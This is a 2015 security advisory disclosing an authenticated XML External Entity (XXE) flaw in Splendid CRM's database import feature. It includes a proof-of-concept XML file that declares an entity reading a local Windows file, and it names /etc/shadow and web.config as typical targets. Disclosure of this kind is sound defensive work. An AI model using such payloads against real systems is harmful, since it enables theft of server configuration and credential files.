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Security Advisory – Splendid CRM XML External Entity Injection (XXE) Vulnerability


Sense of Security – Security Advisory – SOS-15-002

Release Date. 2-Feb-2015
Last Update.
Vendor Notification Date. 20-Jan-2015
Product. Splendid CRM
Platform. Windows / *nix
Affected versions. All versions prior to 9.0.5478
Severity Rating. Medium
Impact. Local file system access
Attack Vector. Remote with authentication
Solution Status. Vendor Update
CVE reference.



Importing an XML file that contains an XML external entity to the Splendid CRM application permits an attacker to retrieve a local file from the web server. The attacker must be authenticated to the administrative interface. An XML External Entity attack is an attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity such as a local file on the web server. Common targets include configuration files, e.g. ASP.NET web.config or Linux password files, e.g. /etc/shadow.

Proof of Concept.

The following XML file can be used as part of the database import option to access local files on the system:

<?xml version=”1.0″ encoding=”utf-8″?>

<!DOCTYPE foo [

<!ELEMENT name ANY >

<!ENTITY xxe SYSTEM “file:///c:/windows/win.ini” >]>







<user_password />


<first_name />


<reports_to_id />


<is_admin_delegate />


<description />


<department />



<address_city />

<default_team />




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Discovered by.

Nathaniel Carew from Sense of Security Labs.